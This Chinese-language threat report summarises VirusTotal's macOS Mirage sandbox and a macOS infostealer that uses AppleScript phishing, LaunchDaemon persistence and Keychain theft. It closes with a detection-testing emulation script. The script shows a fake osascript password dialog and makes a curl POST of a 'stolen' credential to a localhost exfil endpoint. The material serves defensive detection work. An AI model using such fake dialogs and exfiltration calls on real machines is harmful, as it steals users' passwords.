macOS Mirage：适用于Apple Silicon的动态分析和Sigma检测

摘要

VirusTotal 推出了 macOS Mirage，这是一个专为 Apple Silicon (ARM64) 和 macOS 26 设计的新动态分析沙箱。该平台提供高保真行为遥测和自动 Sigma 检测，以识别不断演变的 macOS 威胁，如信息窃取和凭证钓鱼恶意软件。它解决了从 Intel 系统向 ARM64 系统过渡的问题，同时应对包括系统完整性保护 (SIP) 在内的现代保护措施。

调查

该报告分析了一个名为 unix51436504 的 macOS 信息窃取样本，该样本使用 AppleScript 进行钓鱼，并通过多阶段有效载荷实现持久性和数据盗窃。研究人员追踪了恶意软件从最初的欺骗性密码提示到通过 LaunchDaemons 进行的持久性和 Keychain、Safari 和 Apple Notes 数据的传出。沙箱成功地将这些行为映射到相关的 MITRE ATT&CK 技术上，使用了 Sigma 规则。

缓解措施

虽然没有列出具体的软件补丁，但报告强调监控对 Keychain 数据库、TCC.db 和 LaunchDaemons 等敏感位置的未授权访问。组织应检测命令行实用程序如 osascript、curl 和 ditto 在异常情况下的可疑使用。监控多阶段执行模式和 /tmp/ 或用户主目录中的意外文件修改也很重要。

响应

当检测到这些行为时，应急响应人员应立即隔离受影响的 macOS 设备以防止额外的数据泄露。调查持久性机制，尤其关注 /Library/LaunchDaemons 和用户级的 LaunchAgents。全面审核 Keychain 数据、浏览器凭据和 SSH 密钥的可能受损情况，并重置所有暴露的敏感凭据。

模拟执行

• 攻击陈述与命令： 对手旨在通过呈现一个看似可信但虚假的系统对话框来收集用户凭证。攻击者使用 osascript 来触发 macOS 对话框。为了模拟检测规则的特定逻辑（寻找特定的拼写错误“passwen”），脚本会故意使用该字符串。一旦用户“提交”虚假密码，脚本使用 curl 将捕获的数据发送到远程监听器，模拟信息窃取程序的外传阶段。

• 回归测试脚本：

  #!/bin/bash
  # macOS 信息窃取凭证钓鱼的模拟
  
  # 1. 触发虚假对话框（匹配指示器1和2）
  # 注意：使用 'passwen' 来触发检测规则中的特定逻辑
  osascript -e 'set passwen to display dialog "系统安全更新：请输入您的 macOS 密码以继续" default answer "" with icon caution'
  
  # 2. 通过 curl 模拟外传（匹配指示器3）
  # 我们模拟将“被盗”字符串发送到本地/远程端点
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] 模拟完成。请检查 SIEM 是否有警报。"

• 清理命令：

  # 在此模拟过程中没有创建永久文件。
  # 如果使用了任何临时文件进行数据整理，会在这里删除掉。
  rm -f /tmp/stolen_creds.txt